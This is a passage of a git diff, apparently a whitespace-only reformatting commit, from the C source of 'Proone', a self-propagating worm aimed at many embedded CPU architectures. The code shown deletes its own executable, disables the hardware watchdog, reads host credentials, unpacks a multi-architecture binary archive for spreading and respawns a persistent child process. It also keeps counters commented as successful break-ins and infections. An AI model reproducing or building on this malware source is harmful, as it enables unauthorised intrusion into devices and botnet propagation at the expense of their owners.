exit_pipe[2] = { -1, -1 }; + + prne_g.host_cred_data = NULL; + prne_g.host_cred_size = 0; + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); + prne_g.run_cnt = 0; + prne_g.resolv = NULL; + prne_g.god_exit_evt = -1; + prne_g.caught_signal = 0; + prne_g.god_pid = getpid(); + prne_g.proone_pid = 0; + prne_g.lock_shm_fd = -1; + prne_g.bin_ready = false; + prne_g.is_child = false; + prne_init_unpack_bin_archive_result(&prne_g.bin_pack); + prne_init_bin_archive(&prne_g.bin_archive); + mbedtls_x509_crt_init(&prne_g.ssl.ca); + mbedtls_entropy_init(&prne_g.ssl.entpy); + mbedtls_ctr_drbg_init(&prne_g.ssl.rnd); + mbedtls_ssl_config_init(&prne_g.s_ssl.conf); + mbedtls_x509_crt_init(&prne_g.s_ssl.crt); + mbedtls_pk_init(&prne_g.s_ssl.pk); + mbedtls_dhm_init(&prne_g.s_ssl.dhm); + prne_g.s_ssl.ready = false; + mbedtls_ssl_config_init(&prne_g.c_ssl.conf); + mbedtls_x509_crt_init(&prne_g.c_ssl.crt); + mbedtls_pk_init(&prne_g.c_ssl.pk); + prne_g.c_ssl.ready = false; + + // inits that need no outside resources + prne_init_dvault(); + set_env(); + if (pipe(exit_pipe) == 0) { + prne_set_pipe_size(exit_pipe[0], 1); + prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC)); + prne_g.god_exit_evt = exit_pipe[0]; + } + + /* inits that need outside resources. IN THIS ORDER! */ + load_ssl_conf(); + seed_ssl_rnd(NULL, 0); + init_shared_global(); + delete_myself(args[0]); + disasble_watchdog(); + + read_host_credential(); + // get fed with the bin archive + prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); + if (prne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) { + prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; + } + + if (!ensure_single_instance()) { + exit_code = 1; + goto END; + } + + // done with the terminal + prne_close(STDIN_FILENO); + prne_close(STDOUT_FILENO); #ifndef PRNE_DEBUG - prne_close(STDERR_FILENO); + prne_close(STDERR_FILENO); #endif - setup_signal_actions(); - - // main loop - while (prne_g.caught_signal == 0) { - prne_g.proone_pid = fork(); - - if (prne_g.proone_pid >= 0) { - prne_g.run_cnt += 1; - } - - if (prne_g.proone_pid > 0) { - static int status; - - while (prne_g.caught_signal == 0) { - if (waitpid(prne_g.proone_pid, &status, 0) < 0) { - if (errno != EINTR) { - abort(); - } - else { - continue; - } - } - break; - } - - if (WIFEXITED(status)) { - if (WEXITSTATUS(status) == 0) { - break; - } + setup_signal_actions(); + + // main loop + while (prne_g.caught_signal == 0) { + prne_g.proone_pid = fork(); + + if (prne_g.proone_pid >= 0) { + prne_g.run_cnt += 1; + } + + if (prne_g.proone_pid > 0) { + static int status; + + while (prne_g.caught_signal == 0) { + if (waitpid(prne_g.proone_pid, &status, 0) < 0) { + if (errno != EINTR) { + abort(); + } + else { + continue; + } + } + break; + } + + if (WIFEXITED(status)) { + if (WEXITSTATUS(status) == 0) { + break; + } #ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status)); + fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status)); #endif - } - else if (WIFSIGNALED(status)) { + } + else if (WIFSIGNALED(status)) { #ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status)); + fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status)); #endif - } - - sleep(1); - } - else { - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; - prne_g.is_child = true; - seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); - - exit_code = proone_main(); - break; - } - } - prne_g.proone_pid = 0; + } + + sleep(1); + } + else { + prne_close(prne_g.lock_shm_fd); + prne_g.lock_shm_fd = -1; + prne_g.is_child = true; + seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); + + exit_code = proone_main(); + break; + } + } + prne_g.proone_pid = 0; END: - prne_free_bin_archive(&prne_g.bin_archive); - prne_free_unpack_bin_archive_result(&prne_g.bin_pack); - prne_g.bin_ready = false; - - mbedtls_ssl_config_free(&prne_g.s_ssl.conf); - mbedtls_x509_crt_free(&prne_g.s_ssl.crt); - mbedtls_pk_free(&prne_g.s_ssl.pk); - mbedtls_dhm_free(&prne_g.s_ssl.dhm); - prne_g.s_ssl.ready = false; - mbedtls_ssl_config_free(&prne_g.c_ssl.conf); - mbedtls_x509_crt_free(&prne_g.c_ssl.crt); - mbedtls_pk_free(&prne_g.c_ssl.pk); - prne_g.c_ssl.ready = false; - mbedtls_x509_crt_free(&prne_g.ssl.ca); - mbedtls_ctr_drbg_free(&prne_g.ssl.rnd); - mbedtls_entropy_free(&prne_g.ssl.entpy); - - prne_free(prne_g.host_cred_data); - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; - - if (prne_g.lock_shm_fd >= 0) { - shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); - prne_dvault_reset_dict(); - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; - } - - prne_deinit_dvault(); - - write(exit_pipe[1], &exit_code, sizeof(int)); - prne_close(exit_pipe[0]); - prne_close(exit_pipe[1]); - - return exit_code; + prne_free_bin_archive(&prne_g.bin_archive); + prne_free_unpack_bin_archive_result(&prne_g.bin_pack); + prne_g.bin_ready = false; + + mbedtls_ssl_config_free(&prne_g.s_ssl.conf); + mbedtls_x509_crt_free(&prne_g.s_ssl.crt); + mbedtls_pk_free(&prne_g.s_ssl.pk); + mbedtls_dhm_free(&prne_g.s_ssl.dhm); + prne_g.s_ssl.ready = false; + mbedtls_ssl_config_free(&prne_g.c_ssl.conf); + mbedtls_x509_crt_free(&prne_g.c_ssl.crt); + mbedtls_pk_free(&prne_g.c_ssl.pk); + prne_g.c_ssl.ready = false; + mbedtls_x509_crt_free(&prne_g.ssl.ca); + mbedtls_ctr_drbg_free(&prne_g.ssl.rnd); + mbedtls_entropy_free(&prne_g.ssl.entpy); + + prne_free(prne_g.host_cred_data); + prne_g.host_cred_data = NULL; + prne_g.host_cred_size = 0; + + if (prne_g.lock_shm_fd >= 0) { + shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); + prne_dvault_reset_dict(); + prne_close(prne_g.lock_shm_fd); + prne_g.lock_shm_fd = -1; + } + + prne_deinit_dvault(); + + write(exit_pipe[1], &exit_code, sizeof(int)); + prne_close(exit_pipe[0]); + prne_close(exit_pipe[1]); + + return exit_code; } diff --git a/src/proone.h b/src/proone.h index 967b8ce..b7f0cfb 100644 --- a/src/proone.h +++ b/src/proone.h @@ -13,47 +13,47 @@ struct prne_global { - uint8_t *host_cred_data; - size_t host_cred_size; - struct timespec god_start; - uint_fast64_t run_cnt; - prne_resolv_wkr_ctx_t resolv; - int god_exit_evt; - int caught_signal; - pid_t god_pid; - pid_t proone_pid; - int lock_shm_fd; - bool bin_ready; - bool is_child; - - prne_unpack_bin_archive_result_t bin_pack; - prne_bin_archive_t bin_archive; + uint8_t *host_cred_data; + size_t host_cred_size; + struct timespec god_start; + uint_fast64_t run_cnt; + prne_resolv_wkr_ctx_t resolv; + int god_exit_evt; + int caught_signal; + pid_t god_pid; + pid_t proone_pid; + int lock_shm_fd; + bool bin_ready; + bool is_child; + + prne_unpack_bin_archive_result_t bin_pack; + prne_bin_archive_t bin_archive; - struct { - mbedtls_x509_crt ca; - mbedtls_entropy_context entpy; - mbedtls_ctr_drbg_context rnd; - } ssl; - struct { - bool ready; - mbedtls_ssl_config conf; - mbedtls_x509_crt crt; - mbedtls_pk_context pk; - mbedtls_dhm_context dhm; - } s_ssl; - struct { - bool ready; - mbedtls_ssl_config conf; - mbedtls_x509_crt crt; - mbedtls_pk_context pk; - } c_ssl; + struct { + mbedtls_x509_crt ca; + mbedtls_entropy_context entpy; + mbedtls_ctr_drbg_context rnd; + } ssl; + struct { + bool ready; + mbedtls_ssl_config conf; + mbedtls_x509_crt crt; + mbedtls_pk_context pk; + mbedtls_dhm_context dhm; + } s_ssl; + struct { + bool ready; + mbedtls_ssl_config conf; + mbedtls_x509_crt crt; + mbedtls_pk_context pk; + } c_ssl; }; struct prne_shared_global { - // "break and entry" count. Number of successful logins. - uint_fast64_t bne_cnt; - // Number of successful infections. - uint_fast64_t infect_cnt; + // "break and entry" count. Number of successful logins. + uint_fast64_t bne_cnt; + // Number of successful infections. + uint_fast64_t infect_cnt; }; static const intptr_t PRNE_RESOLV_WKR_ID = 0; diff --git a/src/protocol.c b/src/protocol.c index 4e1da40..6dd08da 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -6,92 +6,92 @@ const char *prne_arch_tostr (const prne_arch_t x) { - switch (x){ - case PRNE_ARCH_ARMV4T: - return "armv4t"; - case PRNE_ARCH_ARMV7: - return "armv7"; - case PRNE_ARCH_I686: - return "i686"; - case PRNE_ARCH_M68K: - return "m68k"; - case PRNE_ARCH_MIPS: - return "mips"; - case PRNE_ARCH_MPSL: - return "mpsl"; - case PRNE_ARCH_PPC: - return "ppc"; - case PRNE_ARCH_RV32: - return "rv32"; - case PRNE_ARCH_RV64: - return "rv64"; - case PRNE_ARCH_SH4: - return "sh4"; - case PRNE_ARCH_SPC: - return "spc"; - } - - return NULL; + switch (x){ + case PRNE_ARCH_ARMV4T: + return "armv4t"; + case PRNE_ARCH_ARMV7: + return "armv7"; + case PRNE_ARCH_I686: + return "i686"; + case PRNE_ARCH_M68K: + return "m68k"; + case PRNE_ARCH_MIPS: + return "mips"; + case PRNE_ARCH_MPSL: + return "mpsl"; + case PRNE_ARCH_PPC: + return "ppc"; + case PRNE_ARCH_RV32: + return "rv32"; + case PRNE_ARCH_RV64: + return "rv64"; + case PRNE_ARCH_SH4: + return "sh4"; + case PRNE_ARCH_SPC: + return "spc"; + } + + return NULL; } prne_arch_t prne_arch_fstr (const char *str) { - if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV4T)) == 0) { - return PRNE_ARCH_ARMV4T; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV7)) == 0) { - return PRNE_ARCH_ARMV7; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_I686)) == 0) { - return PRNE_ARCH_I686; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_M68K)) == 0) { - return PRNE_ARCH_M68K; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MIPS)) == 0) { - return PRNE_ARCH_MIPS; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MPSL)) == 0) { - return PRNE_ARCH_MPSL; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_PPC)) == 0) { - return PRNE_ARCH_PPC; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV32)) == 0) { - return PRNE_ARCH_RV32; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV64)) == 0) { - return PRNE_ARCH_RV64; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SH4)) == 0) { - return PRNE_ARCH_SH4; - } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SPC)) == 0) { - return PRNE_ARCH_SPC; - } + if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV4T)) == 0) { + return PRNE_ARCH_ARMV4T; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV7)) == 0) { + return PRNE_ARCH_ARMV7; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_I686)) == 0) { + return PRNE_ARCH_I686; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_M68K)) == 0) { + return PRNE_ARCH_M68K; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MIPS)) == 0) { + return PRNE_ARCH_MIPS; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MPSL)) == 0) { + return PRNE_ARCH_MPSL; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_PPC)) == 0) { + return PRNE_ARCH_PPC; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV32)) == 0) { + return PRNE_ARCH_RV32; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV64)) == 0) { + return PRNE_ARCH_RV64; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SH4)) == 0) { + return PRNE_ARCH_SH4; + } + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SPC)) == 0) { + return PRNE_ARCH_SPC; + } - return PRNE_ARCH_NONE; + return PRNE_ARCH_NONE; } void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) { - memcpy(&out->sin_addr, ep->addr.addr, 4); - out->sin_family = AF_INET; - out->sin_port = htons(ep->port); + memcpy(&out->sin_addr, ep->addr.addr, 4); + out->sin_family = AF_INET; + out->sin_port = htons(ep->port); } void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out) { - memcpy(&out->sin6_addr, ep->addr.addr, 16); - out->sin6_family = AF_INET6; - out->sin6_port = htons(ep->port); + memcpy(&out->sin6_addr, ep->addr.addr, 16); + out->sin6_family = AF_INET6; + out->sin6_port = htons(ep->port); } bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out) { - out->port = port; - out->addr.ver = PRNE_IPV_4; - return inet_pton(AF_INET, str, &out->addr.addr) != 0; + out->port = port; + out->addr.ver = PRNE_IPV_4; + return inet_pton(AF_INET, str, &out->addr.addr) != 0; } bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out) { - out->port = port; - out->addr.ver = PRNE_IPV_6; - return inet_pton(AF_INET6, str, &out->addr.addr) != 0; + out->port = port; + out->addr.ver = PRNE_IPV_6; + return inet_pton(AF_INET6, str, &out->addr.addr) != 0; } diff --git a/src/protocol.h b/src/protocol.h index 8e9540d..bd5682c 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -16,21 +16,21 @@ typedef struct prne_htbt_cmd prne_htbt_cmd_t; typedef struct prne_htbt_bin_head prne_htbt_bin_head_t; typedef enum { - PRNE_ARCH_NONE = -1, - - PRNE_ARCH_ARMV4T, - PRNE_ARCH_ARMV7, - PRNE_ARCH_I686, - PRNE_ARCH_M68K, - PRNE_ARCH_MIPS, - PRNE_ARCH_MPSL, - PRNE_ARCH_PPC, - PRNE_ARCH_RV32, - PRNE_ARCH_RV64, - PRNE_ARCH_SH4, - PRNE_ARCH_SPC, - - NB_PRNE_ARCH + PRNE_ARCH_NONE = -1, + + PRNE_ARCH_ARMV4T, + PRNE_ARCH_ARMV7, + PRNE_ARCH_I686, + PRNE_ARCH_M68K, + PRNE_ARCH_MIPS, + PRNE_ARCH_MPSL, + PRNE_ARCH_PPC, + PRNE_ARCH_RV32, + PRNE_ARCH_RV64, + PRNE_ARCH_SH4, + PRNE_ARCH_SPC, + + NB_PRNE_ARCH } prne_arch_t; PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFF); @@ -76,9 +76,9 @@ typedef enum { PRNE_LIMIT_ENUM(prne_htbt_rspc_t, NB_PRNE_HTBT_RSPC, 0xFF); typedef enum { - PRNE_HTBT_SER_RET_OK, - PRNE_HTBT_SER_RET_MORE_MEM, - PRNE_HTBT_SER_RET_FMT_ERR, + PRNE_HTBT_SER_RET_OK, + PRNE_HTBT_SER_RET_MORE_MEM, + PRNE_HTBT_SER_RET_FMT_ERR, } prne_htbt_serialise_ret_t; typedef enum { @@ -108,8 +108,8 @@ struct prne_htbt_host_info { struct prne_htbt_cmd { char *mem; - size_t *offset_arr; - uint8_t argc; + size_t *offset_arr; + uint8_t argc; }; struct prne_htbt_bin_head { @@ -99,23 +99,23 @@ double prne_rnd_gen_double (prne_rnd_engine_t *engine) { prne_rnd_engine_t *prne_mk_rnd_engine (void) { uint32_t seed = 0; - prne_rnd_engnie_alloc_result_t ret; - - getrandom(&seed, sizeof(uint32_t), 0); - - if (seed == 0) { - // fall back to seeding with what's available. - seed = - (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ - (uint32_t)(getpid() % 0xFFFFFFFF) ^ - (uint32_t)(getppid() % 0xFFFFFFFF) ^ - (uint32_t)(clock() % 0xFFFFFFFF); - } - - ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); - if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { - return NULL; - } - - return ret.engine; + prne_rnd_engnie_alloc_result_t ret; + + getrandom(&seed, sizeof(uint32_t), 0); + + if (seed == 0) { + // fall back to seeding with what's available. + seed = + (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ + (uint32_t)(getpid() % 0xFFFFFFFF) ^ + (uint32_t)(getppid() % 0xFFFFFFFF) ^ + (uint32_t)(clock() % 0xFFFFFFFF); + } + + ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); + if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { + return NULL; + } + + return ret.engine; } diff --git a/src/util_rt.h b/src/util_rt.h index 4d03dc6..eb786a0 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -9,13 +9,13 @@ #if 0 bool prne_strendsw (const char *str, const char *w) { - const size_t len_str = strlen(str); - const size_t len_w = strlen(w); + const size_t len_str = strlen(str); + const size_t len_w = strlen(w); - if (len_str < len_w) { - return false; - } - return strcmp(str + (len_str - len_w), w) == 0; + if (len_str < len_w) { + return false; + } + return strcmp(str + (len_str - len_w), w) == 0; } #endif |